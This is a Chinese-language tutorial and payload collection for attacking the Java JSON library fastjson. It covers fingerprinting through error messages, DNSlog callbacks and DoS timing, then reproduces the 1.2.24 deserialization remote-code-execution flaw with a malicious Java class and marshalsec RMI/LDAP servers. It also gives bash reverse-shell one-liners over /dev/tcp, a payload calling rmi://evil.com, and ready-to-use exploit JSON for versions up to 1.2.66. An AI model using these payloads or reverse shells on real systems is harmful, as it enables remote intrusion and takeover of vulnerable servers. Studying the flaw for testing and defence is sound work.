0x01:fastjson指纹识别
1. 报错信息判断fastjson
无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样。
从上图可以看出,我们使用了一个花括号,fastjson处理json时会返回报错信息。
2. dnslog盲打判断fastjson
有的小伙伴就问了,如果是配置了不返回报错信息怎么办?那这种情况就只有利用dnslog盲打了。
这里有个小技巧就是,如果你批量检查或者自己的dnslog里面有很多记录。你可以这样使用'baidu'.d1flzs.dnslog.cn,在dnslog前面加个名称
盲打payload
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
1.2.67版本后
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
3.通过DOS延迟方式
fastjson在版本<1.2.60在取不到值的时候会填充\u001a,发生DOS,我们可以构造请求,通过响应延迟来判断是否使用的fastjson
无构造的正常请求返回时间,28ms(这里Fiddler演示,Burp可以通过Repeater模块右下方观察)
构造错误的POST请求体返回时间,15ms(可见随意的错误请求不奏效)
通过 {“a”:"\x 触发DOS,585ms,和正常的和错误的请求响应时间差太多,由此来判断使用了fastjson解析器
0x02:fastjson 1.2.24 反序列化导致任意命令执行漏洞
攻击步骤
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
主机A:存在fastjson反序列化漏洞的主机
主机C:为RMI/LDAP服务
主机B:为构造的恶意类(包含要执行的命令)
在整个远程命令执行流程:
1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C
3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类
4、主机A引发恶意系统命令执行
漏洞复现
kali安装java版本
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
编译恶意类
javac Exploit.java
Exploit.java源码如下
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/hel10"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后开启Web服务,让rmi服务能够获取到恶意类。
再开启RMI服务监听
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999
这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可,例如:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.133:8888/#Exploit" 9999
然后利用payload攻击目标主机
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.88.133:9999/Exploit",
"autoCommit":true
}
}
目标主机触发反序列化漏洞,主动进行RMI远程调用连接VPS,RMI指定加载的是VPS上的恶意java类,从而目标主机通过RMI服务远程加载调用到了VPS上的恶意java类。
攻击成功。
接着反弹shell试试
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.88.133/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.88.133/1234 0>&1"
修改恶意的java类。
成功反弹shell
0x03:Fastjson<1.2.68远程代码执行漏洞
恶意java类
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
0x04:多版本payload集合
影响版本:
fastjson<=1.2.24
exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
影响版本:
fastjson<=1.2.41
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
影响版本:
fastjson<=1.2.42
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:
fastjson<=1.2.43
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
影响版本:
fastjson<=1.2.45
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
影响版本:
fastjson<=1.2.47
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
影响版本:
fastjson<=1.2.62
exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
影响版本:
fastjson<=1.2.66
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
0x04:参考链接
https://www.cnblogs.com/dyanbk/p/14281460.html fastjson 1.2.24 反序列化导致任意命令执行漏洞
https://www.freebuf.com/articles/web/258253.html fastjson 1.2.24 反序列化 RCE 漏洞复现
https://zeo.cool/2020/07/04/红队武器库!fastjson小于1.2.68全漏洞RCE利用exp/ 红队武器库:fastjson小于1.2.68全漏洞RCE利用exp
https://www.cnblogs.com/mysticbinary/p/12788019.html fastjson 反弹shell